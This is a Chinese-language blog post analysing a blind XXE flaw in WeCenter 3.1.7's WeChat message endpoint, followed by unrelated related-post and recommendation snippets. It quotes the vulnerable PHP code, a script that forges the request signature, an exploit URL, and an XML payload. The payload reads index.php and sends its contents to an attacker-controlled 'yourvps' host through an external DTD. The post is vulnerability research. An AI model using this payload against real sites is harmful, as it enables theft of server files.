xxe漏洞危害大,可以查看任意文件,执行系统命令,进行ddos等,但是本次漏洞有一条件,需要后台登录,所以危害降低了,下面是详细分析

在models/weixin.php

    public function fetch_message()
{
if ($this->post_data = file_get_contents('php://input'))
{
$post_object = (array)simplexml_load_string($this->post_data, 'SimpleXMLElement', LIBXML_NOCDATA); if ($_GET['encrypt_type'] == 'aes')
{
$post_object = $this->decrypt_msg($post_object['Encrypt']);
} $input_message = array(
'fromUsername' => $post_object['FromUserName'],
'toUsername' => $post_object['ToUserName'],
'content' => trim($post_object['Content']),
'time' => time(),
'msgType' => $post_object['MsgType'],
'event' => $post_object['Event'],
'eventKey' => $post_object['EventKey'],
'mediaID' => $post_object['MediaId'],
'format' => $post_object['Format'],
'recognition' => $post_object['Recognition'],
'msgID' => $post_object['MsgID'],
'latitude' => $post_object['Latitude'],
'longitude' => $post_object['Longitude'],
'precision' => $post_object['Precision'],
'location_X' => $post_object['Location_X'],
'location_Y' => $post_object['Location_Y'],
'label' => $post_object['Label'],
'ticket' => $post_object['Ticket'],
'createTime' => $post_object['CreateTime'],
'status' => $post_object['Status'],
'filterCount' => $post_object['FilterCount'],
'picUrl' => $post_object['PicUrl'],
'encryption' => ($_GET['encrypt_type'] == 'aes') ? true : false
); $weixin_info = $this->model('openid_weixin_weixin')->get_user_info_by_openid($input_message['fromUsername']); if ($weixin_info)
{
$this->user_id = $weixin_info['uid'];
} if (get_setting('weixin_account_role') == 'service')
{
$this->bind_message = '你的微信帐号没有绑定 ' . get_setting('site_name') . ' 的帐号, 请<a href="' . $this->model('openid_weixin_weixin')->get_oauth_url(get_js_url('/m/weixin/authorization/')) . '">点此绑定</a>';
} return $input_message;
}
} 没有过滤post数据,带入到了simplexml_load_string 然后查找哪里调用了这个函数fetch_message,在app/weixin/api.php调用了这函数 public function index_action()
{
if (!isset($_GET['id']))
{
$_GET['id'] = 0;
} $account_info = $this->model('weixin')->get_account_info_by_id($_GET['id']); $this->model('weixin')->check_signature($account_info['weixin_mp_token'], $_GET['signature'], $_GET['timestamp'], $_GET['nonce']); if (!$account_info OR !$this->model('weixin')->check_signature($account_info['weixin_mp_token'], $_GET['signature'], $_GET['timestamp'], $_GET['nonce']))
{
exit();
} if ($_GET['echostr'])
{
exit(htmlspecialchars($_GET['echostr']));
} if ($account_info['weixin_account_role'] == 'base' OR !$account_info['weixin_app_id'] OR !$account_info['weixin_app_secret'])
{
$account_info['weixin_mp_menu'] = null;
} $this->model('weixin')->account_info = $account_info; $input_message = $this->model('weixin')->fetch_message(); $this->model('weixin')->response_message($input_message);
}
}

然后这个地方

if (!$account_info OR !$this->model('weixin')->check_signature($account_info['weixin_mp_token'], $_GET['signature'], $_GET['timestamp'], $_GET['nonce']))
{
exit();
}

如果$this->model('weixin')->check_signature($account_info['weixin_mp_token'], $_GET['signature'], $_GET['timestamp'], $_GET['nonce']不成立就会退出去,无法执行$input_message = $this->model('weixin')->fetch_message();

跟进models/weixin.php

public function check_signature($mp_token, $signature, $timestamp, $nonce)
{
$tmp_signature = $this->generate_signature($mp_token, $timestamp, $nonce); if (!$tmp_signature OR $tmp_signature != $signature)
{
return false;
} return true;
} public function generate_signature($token, $timestamp, $nonce)
{
$token = trim($token); if (!$token OR !$timestamp OR !$nonce)
{
return false;
} $tmp_arr = array(
$token,
$timestamp,
$nonce
); sort($tmp_arr, SORT_STRING); return sha1(implode('', $tmp_arr)); }

我们可以控制$signature参数,而且通过generate_signature我们知道如何生成signature,但是这里

if (!$token OR !$timestamp OR !$nonce) { return false; }

$mp_token是不能控制的,而且不能为空,这样我们就得设置$mp_token了,这个得在后台设置

然后我们成功设置$mp_token为testtest,对照signature生成的方法,写个脚本生成我们可控的$signatarue

<?php
$token = "testtest";
$timestamp = "a";
$nonce = "b";
$tmp_arr = array( $token, $timestamp, $nonce );
sort($tmp_arr, SORT_STRING);
echo sha1(implode('', $tmp_arr));

生成$signature为ed86c0d850f575d4fbd3b2062f1662bed2fe4245,最后url的格式如下

http://localhost/WeCenter_3-1-7/UPLOAD/?/weixin/api/?signature=ed86c0d850f575d4fbd3b2062f1662bed2fe4245&timestamp=a&nonce=b
然后由于这个xxe漏洞没有回显,但是blind xxe还是可以用的。 构造读取首页的payload

<?xml version="1.0"?> 
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % remote SYSTEM "http://yourvps/xxe/evil.dtd">
%remote; %all;
]>
<c>&send;</c></code>

其中evil.dtd内容如下

<!ENTITY % send "<!ENTITY external SYSTEM 'http://yourvps/log.php?msg=%payload;'>">

WeCenter3.1.7 blind xxe 分析的更多相关文章

  1. 关于Blind XXE

    关于Blind XXE 关于XXE,很早之前内部做过分享,个人觉得漏洞本身没太多的玩点,比较有意思主要在于:不同语言处理URI的多元化和不同XML解析器在解析XML的一些特性. 在科普Blind XX ...

  2. 微信开源PHP商城系统一处blind xxe(无需登录,附POC)

    测试版本wemall 3.3 下载地址 http://git.oschina.net/einsqing/wemall/repository/archive?ref=master 需要开源中国的账号 c ...

  3. weblogic之CVE-2018-3246 XXE分析

    通过ftp通道将数据传出来.上传1.xml <!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://192.168.172.12 ...

  4. blind XXE payload

    简单验证 POST /test HTTP/1.1 Content-Type: application/soap+xml User-Agent: scanner Accept: */* Cache-Co ...

  5. blind xxe攻击

    最近做啊里的题的时候遇到了 http://hivesec.net/web-security/%E5%85%B3%E4%BA%8Eblind-xxe.html

  6. 漏洞经验分享丨Java审计之XXE(下)

    上篇内容我们介绍了XXE的基础概念和审计函数的相关内容,今天我们将继续分享Blind XXE与OOB-XXE的知识点以及XXE防御方法,希望对大家的学习有所帮助! 上期回顾  ◀漏洞经验分享丨Java ...

  7. 漏洞经验分享丨Java审计之XXE(上)

    最近在审计公司的某个项目时(Java方面),发现了几个有意思的Blind XXE漏洞,我觉得有必要分享给大家,尤其是Java审计新手,了解这些内容可以让你少走一些弯路. Java总体常出现的审计漏洞如 ...

  8. XXE漏洞学习

    0x00 什么是XML 1.定义 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声明.DTD文 ...

  9. XXE(XML External Entity attack)XML外部实体注入攻击

    导语 XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击.由于程序在解析输入的XML数据时,解析了攻击者 ...

随机推荐

  1. nexus 私服 低配置服务器启动不能访问的问题

    1核1G的渣渣服务器启动无法访问. 请更换更高配置的服务器.

  2. 干货| 外卖点餐系统(App及后台)

    简单总结一下,这个系统是一个外卖点餐系统,也就是仿美团饿了么,也是当时我的毕业设计,花费了我很多精力,主要包括了移动端App.服务端(中台)和商家的后台管理.答辩完后我就将移动端源码放到了GitHub ...

  3. 开源导入导出通用库Magicodes.ExporterAndImporter发布

    导入导出通用库 Magicodes.ExporterAndImporter为心莱团队封装的导入导出通用库,并且仍在跟随项目不断地打磨. GitHub地址: https://github.com/xin ...

  4. Metasploit工具----漏洞利用模块

    漏洞利用是指由渗透测试者利用一个系统.应用或者服务中的安全漏洞进行的攻击行为.流行的渗透攻击技术包括缓冲区溢出.Web应用程序攻击,以及利用配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的 ...

  5. Hadoop入门 之 Hadoop的安装

    1.安装Hadoop的三大步骤 答:1.Linux环境,2.JDK环境,3.配置Hadoop. 2.安装Linux 答:利用阿里云,腾讯云等公有云.选择Ubuntu进行安装,然后利用小putty进行操 ...

  6. Fliptile POJ-3279 DFS

    题目链接:Fliptile 题目大意 有一个01矩阵,每一次翻转(0->1或者1->0)一个元素,就会把与他相邻的四个元素也一起翻转.求翻转哪些元素能用最少的步骤,把矩阵变成0矩阵. 思路 ...

  7. 安装vue开发环境

    每次搜索vue开发环境安装时,总是有很多种版本,虽然都能安装完成,但还是整理下自己觉得比较好的版本吧 1.首先安装nodeJs以及也把git安装好(反正开发也是需要git),安装完成后执行 node ...

  8. 使用servlet+jdbc+MD5实现用户加密登录

    /** * 分析流程: * 1.前端页面提交登录请求 * 2.被web.xml拦截,进入到LoginServlet(有两种方式:方式一,在web.xml文件中配置servlet拦截器;方式二,不用在w ...

  9. js实现敲回车键登录

    任何一个网站页面都有登陆界面,很多时候在输入好用户名和密码后,还要用鼠标去点一个类似于登陆什么的按钮或者链接.这样你才能进网站做你喜欢做的事情. 有时候我就在想是不是能在输入好我该输入的东西后,直接敲 ...

  10. 基于 B/S 端构建的 3D 楼宇自控可视化监控

    前言 智慧楼宇和人们的生活息息相关,楼宇智能化程度的提高,会极大程度的改善人们的生活品质,在当前工业互联网大背景下受到很大关注.目前智慧楼宇可视化监控的主要优点包括: 智慧化 -- 智慧楼宇是一个生态 ...